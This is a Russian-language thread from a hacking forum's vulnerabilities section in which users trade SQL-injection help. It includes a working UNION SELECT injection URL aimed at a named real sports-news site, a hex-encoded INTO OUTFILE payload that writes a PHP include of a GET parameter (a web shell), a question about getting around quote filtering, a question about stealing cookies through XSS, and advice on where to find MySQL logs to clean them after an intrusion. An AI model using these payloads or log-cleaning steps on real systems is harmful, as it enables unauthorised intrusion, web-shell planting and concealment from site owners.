HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 27.10.2009, 23:44
Rubaka
Участник форума
Регистрация: 02.09.2007
Сообщений: 292
С нами: 9837719

Репутация: 466
По умолчанию

jokester
да неправ я был ,ступил
везде где нет кавычек и права для чтения я в /tmp могу писать
сайтов 5-6 попробовал
 
Ответить с цитированием

  #2  
Старый 28.10.2009, 00:18
crazy~driver
Познающий
Регистрация: 21.12.2008
Сообщений: 93
С нами: 9152066

Репутация: 39
По умолчанию

подскажите есть ли здесь скуль иньекция
www.craigolsonsports.com/newsarticle.php?id=0809&nid=29546'
 
Ответить с цитированием

  #3  
Старый 28.10.2009, 00:34
Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
С нами: 10274726

Репутация: 1917


По умолчанию

Код:
http://www.craigolsonsports.com/newsarticle.php?id=0809&nid=29546%20and%201=2%20union%20select%20user(),2+--+
__________________
Карфаген должен быть разрушен...
 
Ответить с цитированием

  #4  
Старый 28.10.2009, 04:59
ILYAtirtir
Участник форума
Регистрация: 25.04.2007
Сообщений: 176
С нами: 10024314

Репутация: 739
По умолчанию

Код:
http://site.com/calendar.php?event_id=681+union+select+null,0x3c3f 70687020696e636c75646528245f4745545b67675f696e635d 293b3f3e,null,null,null+into+outfile+0x2f706174682 f746f2f6d792f7363726970742e706870
ну может потому и не пишется что ты путь в hex'е вписал))
 
Ответить с цитированием

  #5  
Старый 28.10.2009, 05:28
_gr34t
Участник форума
Регистрация: 26.10.2008
Сообщений: 106
С нами: 9231812

Репутация: 40
По умолчанию

Цитата:
Сообщение от ILYAtirtir  
ну может потому и не пишется что ты путь в hex'е вписал))
Блиа.
ILYAtirtir, спасибо что разморочил. )

Отвечаю, что где-то на ачате видел такое. В памяти отложилось вот и писал так. Оказывается так нельзя )

Тогда другой вопрос: можно как-нибудь обойти кавычки?
 
Ответить с цитированием

  #6  
Старый 28.10.2009, 07:22
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами: 9649706

Репутация: 3338


По умолчанию

нет, только если есть двойной запрос в скуле
 
Ответить с цитированием

  #7  
Старый 28.10.2009, 11:33
SpYeR
Новичок
Регистрация: 11.11.2007
Сообщений: 17
С нами: 9735524

Репутация: 6
По умолчанию

Можно ли получить куки поддомена (test.site.ru) если есть xss в основном домене(site.ru)?
 
Ответить с цитированием

  #8  
Старый 28.10.2009, 11:50
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами: 9410786

Репутация: 2731


По умолчанию

Цитата:
Сообщение от SpYeR  
Можно ли получить куки поддомена (test.site.ru) если есть xss в основном домене(site.ru)?
Нельзя.
 
Ответить с цитированием

  #9  
Старый 28.10.2009, 16:26
Op3r
Новичок
Регистрация: 10.12.2007
Сообщений: 11
С нами: 9694063

Репутация: 1
По умолчанию

как после удачной SQL inj. чистить логи?
версия MySQL 5.1.22-rc-log
где их искать?
 
Ответить с цитированием

  #10  
Старый 28.10.2009, 16:53
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами: 9410786

Репутация: 2731


По умолчанию

Обычно:
/var/log/mysql
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

×

Мои сделки

Загрузка...
×

Сделка


Загрузка чата...